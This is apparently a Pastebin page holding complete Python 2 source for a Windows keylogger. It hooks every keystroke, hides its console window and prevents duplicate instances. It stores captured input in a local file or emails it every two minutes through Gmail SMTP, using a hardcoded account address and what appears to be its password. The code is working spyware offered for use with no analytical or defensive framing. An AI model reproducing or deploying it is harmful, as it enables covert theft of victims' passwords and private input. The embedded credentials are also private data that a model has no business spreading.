Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import pythoncom, pyHook
- import os
- import sys
- import threading
- import urllib,urllib2
- import smtplib
- import ftplib
- import datetime,time
- import win32event, win32api, winerror
- from _winreg import *
- #Disallowing Multiple Instance
- mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
- if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
- mutex = None
- print "Multiple Instance not Allowed"
- exit(0)
- x=''
- data=''
- count=0
- #Hide Console
- def hide():
- import win32console,win32gui
- window = win32console.GetConsoleWindow()
- win32gui.ShowWindow(window,0)
- return True
- def msg():
- print """\n \n
- usage:program.exe mode [optional:startup]
- mode:
- local: store the logs in a file [keylogs.txt]
- email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO).
- \n\n"""
- return True
- #Local Keylogger
- def local():
- global data
- if len(data)>100:
- fp=open("keylogs.txt","a")
- fp.write(data)
- fp.close()
- data=''
- return True
- #Email Logs
- class TimerClass(threading.Thread):
- def __init__(self):
- threading.Thread.__init__(self)
- self.event = threading.Event()
- def run(self):
- while not self.event.is_set():
- global data
- if len(data)>100:
- ts = datetime.datetime.now()
- SERVER = "smtp.gmail.com" #Specify Server Here
- PORT = 587 #Specify Port Here
- USER="memablanao@gmail.com"#Specify Username Here
- PASS="memarusef"#Specify Password Here
- FROM = USER#From address is taken from username
- TO = ["memablanao@gmail.com"] #Specify to address.Use comma if more than one to address is needed.
- SUBJECT = "Keylogger data: "+str(ts)
- MESSAGE = data
- message = """\
- From: %s
- To: %s
- Subject: %s
- %s
- """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
- try:
- server = smtplib.SMTP()
- server.connect(SERVER,PORT)
- server.starttls()
- server.login(USER,PASS)
- server.sendmail(FROM, TO, message)
- data=''
- server.quit()
- except Exception as e:
- print e
- self.event.wait(120)
- def main():
- global x
- if len(sys.argv)==1:
- msg()
- exit(0)
- else:
- if sys.argv[1]=="local":
- x=1
- hide()
- elif sys.argv[1]=="email":
- hide()
- email=TimerClass()
- email.start()
- else:
- msg()
- exit(0)
- return True
- if __name__ == '__main__':
- main()
- def keypressed(event):
- global x,data
- if event.Ascii==13:
- keys='<ENTER>'
- elif event.Ascii==8:
- keys='<BACK SPACE>'
- elif event.Ascii==9:
- keys='<TAB>'
- else:
- keys=chr(event.Ascii)
- data=data+keys
- if x==1:
- local()
- obj = pyHook.HookManager()
- obj.KeyDown = keypressed
- obj.HookKeyboard()
- pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement